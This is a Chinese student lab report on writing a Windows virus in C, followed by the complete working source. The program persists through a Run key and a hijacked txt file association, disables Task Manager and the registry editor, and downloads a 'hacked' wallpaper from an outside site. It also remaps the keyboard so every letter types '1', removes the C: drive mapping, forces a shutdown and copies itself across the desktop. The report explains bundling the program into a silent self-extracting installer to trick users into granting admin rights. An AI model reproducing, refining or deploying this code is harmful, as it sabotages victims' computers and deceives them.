此实验代码请务必在Vmware中执行,不要在真机上进行实验,否则会很麻烦。
本次实验设计的是一个基于C语言的恶意代码,其执行流程如下:
1、 在病毒第一次执行时,即检测到注册表的任务管理器没有被禁用,则病毒依次执行以下功能:
创建开机启动项,在系统目录路径下面复制文件,将其作为自启动路径;
禁用任务管理器;
禁用注册表编辑器;
联网获取图片并修改桌面背景(重启生效);
修改注册表屏蔽用户键盘输入为1(重启生效);
删除驱动器盘符,使桌面以及开始菜单快捷方式失效;
在桌面恶意增殖,生成名字随机的自身拷贝文件;
电脑强制关机;
2、计算机重新启动之后由于任务管理器已经被禁用,所以只在桌面恶意增殖,同时桌面背景更换并且键盘输入失效。
1.增殖模块
为了实现恶意代码的自我增殖,使用windows系统自带的API函数SHGetSpecialFolderPath,获取当前用户的桌面路径;使用GetModuleFileName函数,获取当前执行程序的路径,最后通过使用Copyfile函数,完成自我增殖。
增殖模块相关代码如图2.1所示。
图2.1 恶意代码增殖模块
2.注册表修改模块
修改注册表相关键值,实现让病毒程序开机自启动、禁用任务管理器、禁用注册表编辑器、修改桌面背景图片以及屏蔽用户键盘输入为数字1的功能,主要使用到的API函数为:RegCreateKey、RegSetValueEx、RegCloseKey,相关代码如下所示:
图2.2 注册表修改实现开机自启
如上图代码所示,使用GetModuleFileName函数获取当前可执行程序的绝对路径,调用API函数GetSystemDirectory获取系统目录路径,使用文件操作函数CopyFile实现可执行程序的拷贝,避免被感染者直接删除,将系统目录路径下的可执行程序设置为开机自启,同时修改注册表创建文件关联,只要用户打开了txt文档文件就默认打开系统目录路径下的病毒程序。
图2.2 禁用任务管理器以及注册表编辑器
禁用任务管理器或者禁用注册表编辑器只要在指定的目录下新增键值为1的项即可。
图2.3 修改桌面背景图片
图2.3所示代码实现了从指定的网址上下载图片并且将其设置为重新启动计算机之后的桌面背景,并且默认无法更改,实际操作只需要在指定目录下新增名称为Wallpaper、数据类型为REG_SZ,内容为下载图片完成路径的项。
图2.4 修改注册表屏蔽用户键盘输入
修改注册表屏蔽用户键盘输入,此操作在用户重新启动计算机之后生效。
3.前台窗口隐藏模块
隐藏前台窗口,使用户无法正常操作,避免用户直接叉掉控制台程序导致病毒程序无法继续执行。使用GetForegroundWindow()函数获取前台窗口的句柄,使用ShowWindow函数,隐藏当前句柄指示的窗口。前台隐藏窗口模块如图2.5所示。
图2.5 前台窗口隐藏模块
4.注册表修改检测模块
第一次运行病毒程序注册表并没有被修改,此时运行病毒程序执行注册表修改模块,但是当计算机重新启动之后,注册表已经被修改了,那么就没有必要重新运行一遍注册表修改操作(也没有相应的管理员权限),所以加上一个检测任务管理器是否被禁用的模块,代码如下图2.6所示:
图2.6 注册表修改检测模块
5.执行模块
执行模块实现的功能比较简单,同时保证不至于使计算机崩溃,首先是禁用任务管理器、注册表修改编辑器、修改注册表重启之后修改桌面背景以及屏蔽用户键盘输入,这些与注册表相关的在注册表修改模块中已经指出,它们是执行模块的一部分。
修改注册表之后破坏感染计算机的盘符,使桌面快捷方式以及菜单栏的图标都指向无效的连接,只用重启之后才能恢复,相关代码如下图所示:
图2.7 破环系统盘盘符
该函数调用了函数DefineDosDevice,但是由于该API函数需要管理员权限,所以只能在第一次执行的时候运行;
最后病毒程序在桌面拷贝自身生成垃圾文件,总共拷贝30次,相关代码如下图所示:
图2.8 在桌面产生垃圾文件
6.恶意代码隐藏和管理员权限的获取
由于修改注册表需要取得管理员权限,而用户不会将管理员权限给予一个不明的程序,于是采用自解压的方式,将恶意代码和某些正常程序的安装包捆绑,进行恶意代码的隐藏,并骗取管理员权限。
使用压缩软件,将恶意代码执行程序和其它用于隐藏的正常安装包,一同进行自解压压缩。在高级选项中,选取解压后自动运行的程序,并选用静默安装模式,且使用指定的ico文件指定图标,使自解压之后的文件和原正常安装包在使用时,没有明显区别。但是运行过后,正常程序将被安装,恶意代码也被执行。通过这种方式,完成了恶意代码的隐藏,并提高了恶意代码的传染性。部分高级选项设置如图2.9所示。
图2.9 部分自解压高级选项示意
三、实验结果
执行伪装好的自解压文件,程序正常安装,并且快速弹窗显示此时病毒程序开始执行。同时可以看到此时任务管理器以及注册表编辑器已经被禁用。
由于禁用了任务管理器和注册表编辑器,使用户无法轻易得到通过任务管理器结束进程,也不能还原注册表,效果如图3.2和3.3所示。
程序继续之心那个,弹窗显示C盘盘符破坏成功。如图3.4所示。系统盘盘符被删除之后桌面上的一切快捷方式失效,开始菜单中全部变为无效的快捷方式,点开计算机窗口没有反应,执行效果如图3.5所示。接下来只能够手动重新启动计算机。
重启之后由于注册表已经被修改,所以此时桌面背景更换,效果如图3.6所示。并且用户输入被屏蔽,不管输入什么字母显示的总是1,效果如图3.7所示。
由于病毒程序设置了开机自启动,但是此时并没有获得管理员权限,并且由于注册表已经被修改,所以此时病毒直接执行拷贝自身并在桌面产生垃圾文件,当达到指定的拷贝次数之后结束运行,但是如果用户打开txt文件,由于实现了注册表关联,此时病毒程序又开始执行,垃圾文件产生效果如图3.8所示。
病毒预先功能基本实现。
图3.1 恶意代码运行效果(一)
图3.2 恶意代码运行效果(二)
图3.3 恶意代码运行效果(三)
图3.4 恶意代码运行效果(四)
图3.5 恶意代码运行效果(五)
图3.6 恶意代码运行效果(六)
图3.7 恶意代码运行效果(七)
图3.8 恶意代码运行效果(八)
四、实验心得
本次实验,通过编写恶意代码学习到了很多东西。
在编写此次恶意代码的过程中,对病毒程序或者是木马程序如何修改注册表以及将自己拷贝到系统目录路径有了更深一步的认识以及实践,学会了如何使用文件操作API、注册表修改API、磁盘盘符修改API等windowsAPI函数。同时也了解了如何将自己的可执行程序进行伪装来到达欺骗被感染者的目的,比如此次实验中将病毒程序拷贝到安装包中并且在解压时自执行并获取管理员权限。
但是此次的实验仍有一个不足之处,就是如何使重启之后的自启动程序获得管理员权限,这一点查找了很多资料仍然没有实现,所以在接下来的实践中还需要继续实现该块功能来加以完善。
另外,此次病毒程序并不能逃过杀软的检测以及清除,所以如何对抗杀毒软件是另外一个待完善的地方。
总体来说,本次实验的实现较为简单,但是需要学习的地方还是很多的!
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <Windows.h>
#include <time.h>
#include <tchar.h>
#include <shlobj.h> //SHGetSpecialFolderPath()所属头文件
#include <iostream>
#include <UrlMon.h>
#pragma comment(lib,"urlmon.lib")
//病毒的增殖模块,产生垃圾文件,要实现无限增殖只需要在主函数加一个循环
void Reproduce()
{
char name_str[100] = {};
int name;
srand((unsigned)time(NULL)); //随机数种子
name = rand() % 1024;
_itoa(name, name_str, 16); //将随机数转化成字符串
TCHAR szpath[MAX_PATH];
GetModuleFileName(NULL, szpath, MAX_PATH); //获取当前执行程序的路径
char target[100] = {};
TCHAR Destop[MAX_PATH];
SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE); //获取桌面绝对路径
strcat(target, Destop);
strcat(target, "\\");
strcat(target, name_str);
strcat(target, ".exe");
CopyFile(szpath, target, FALSE);
//为增殖产生的文件创建进程
//STARTUPINFO si = { 0 };
//si.cb = sizeof(si);
//PROCESS_INFORMATION pi;
//CreateProcess(target, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
}
//注册表修改实现开机自启动,同时在系统文件目录下创建拷贝文件
void RegKeyStart()
{
char str[MAX_PATH];
GetModuleFileName(NULL, str, MAX_PATH);
char SystemPath[512];
GetSystemDirectory(SystemPath, sizeof(SystemPath)); //获取系统目录路径
strcat(SystemPath, "\\explore.exe");
CopyFile(str, SystemPath, false);
DWORD len;
HKEY hkey;
len = strlen(SystemPath);
RegCreateKey(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", &hkey);
RegSetValueEx(hkey, SystemPath, 0, REG_SZ, (unsigned char *)SystemPath, len);
RegCloseKey(hkey);
/*创建代码实现文件关联,也就是只要打开txt文件就执行当前用户程序,使用txt方式触发
*/
LPCTSTR data_set = "txtfile\\shell\\open\\command";
RegOpenKeyEx(HKEY_CLASSES_ROOT, data_set, 0, KEY_WRITE, &hkey);
RegSetValueEx(hkey, NULL, NULL, REG_EXPAND_SZ, (unsigned char *)SystemPath, len);
RegCloseKey(hkey);
}
//注册表修改实现禁用管理器
void RegTaskmanagerForbidden()
{
HKEY hkey;
DWORD v = 1;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&v, sizeof(DWORD));
RegCloseKey(hkey);
}
//注册表修改实现禁用注册表编辑器
void RegEditForbidden()
{
HKEY hkey;
DWORD v = 1;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&v, sizeof(DWORD));
RegCloseKey(hkey);
}
//注册表修改实现更换桌面背景
void RegModifyBackroud()
{
DWORD v = 1;
char str[MAX_PATH];
GetModuleFileName(NULL, str, MAX_PATH);
strcat(str, "hacked.jpg");
URLDownloadToFile(NULL, "http://utbblogs.com/wp-content/uploads/2015/01/hacked.jpg", str, 0, 0);
HKEY hkey;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)str, sizeof(str));
RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&v, sizeof(DWORD));
}
//注册表修改屏蔽用户键盘输入
void RegKeyBoardForbidden()
{
HKEY hkey;
char scancodemap[] = "\x00\x00\x00\x00\x00\x00\x00\x00\x1A\x00\x00\x00"
"\x02\x00\x10\x00"
"\x02\x00\x11\x00"
"\x02\x00\x12\x00"
"\x02\x00\x13\x00"
"\x02\x00\x14\x00"
"\x02\x00\x15\x00"
"\x02\x00\x16\x00"
"\x02\x00\x17\x00"
"\x02\x00\x18\x00"
"\x02\x00\x19\x00"
"\x02\x00\x1E\x00"
"\x02\x00\x1F\x00"
"\x02\x00\x20\x00"
"\x02\x00\x21\x00"
"\x02\x00\x22\x00"
"\x02\x00\x23\x00"
"\x02\x00\x24\x00"
"\x02\x00\x25\x00"
"\x02\x00\x26\x00"
"\x02\x00\x2C\x00"
"\x02\x00\x2D\x00"
"\x02\x00\x2E\x00"
"\x02\x00\x2F\x00"
"\x02\x00\x30\x00"
"\x02\x00\x31\x00"
"\x02\x00\x32\x00"
"\x00\x00\x00\x00";
RegCreateKey(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Keyboard Layout", &hkey);
RegSetValueEx(hkey, "Scancode Map", 0, REG_BINARY, (LPBYTE)scancodemap, 120);//scancodemap数组长度为120字节
RegCloseKey(hkey);
}
BOOL DeleteDrive(TCHAR *SThide)
{
if (!DefineDosDevice(DDD_RAW_TARGET_PATH, SThide, ""))
return false;
else
return true;
}
int main(int argc, char* argv)
{
//FreeConsole();
HWND hwndDOS = GetForegroundWindow(); //得到前台窗口的句柄
ShowWindow(hwndDOS, SW_HIDE); //隐藏窗口
//以下代码用于检测任务管理器是否被禁用
BOOL Revised=0;
HKEY hkey;
long ret0, ret1;
LPCTSTR data_set = "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System";
LPCTSTR psName = "DisableTaskMgr";
TCHAR ValueInfo[100];
DWORD cType;
DWORD ValueSize = sizeof(ValueInfo);
ret0 = RegOpenKeyEx(HKEY_CURRENT_USER, data_set, 0, KEY_READ, &hkey);
ret1 = RegQueryValueEx(hkey, psName, NULL, &cType, (LPBYTE)ValueInfo, &ValueSize);
if (ret0!=ERROR_SUCCESS||ret1 != ERROR_SUCCESS)
{
printf("not Revised!\n");
Revised = 0;
}
else if (!strcmp(ValueInfo, "\x01\x00\x00\x00")) {
Revised = 1;
}
else {
Revised = 0;
}
RegCloseKey(hkey);
if (!Revised) //如果任务管理器没有被禁用执行如下操作
{
RegKeyStart();
RegTaskmanagerForbidden();
RegEditForbidden();
RegModifyBackroud(); //修改桌面背景
RegKeyBoardForbidden(); //修改注册表屏蔽用户键盘输入
Sleep(5000);
if (DeleteDrive("C:"))
MessageBox(NULL, "破坏盘符成功!", "Error", MB_OK);
DefineDosDevice(DDD_RAW_TARGET_PATH, "F:", "//??//C://winnt");
system("title 警告");
system("shutdown -f -s -t 10 -c ""计算机将于60秒内强制关机!""");
}
else {
printf("task manager has been forbidden!\n");
}
int i;
for (i = 0; i < 30; i++) {
Reproduce(); //产生垃圾文件,恶意增殖
Sleep(1000);
}
return 0;
}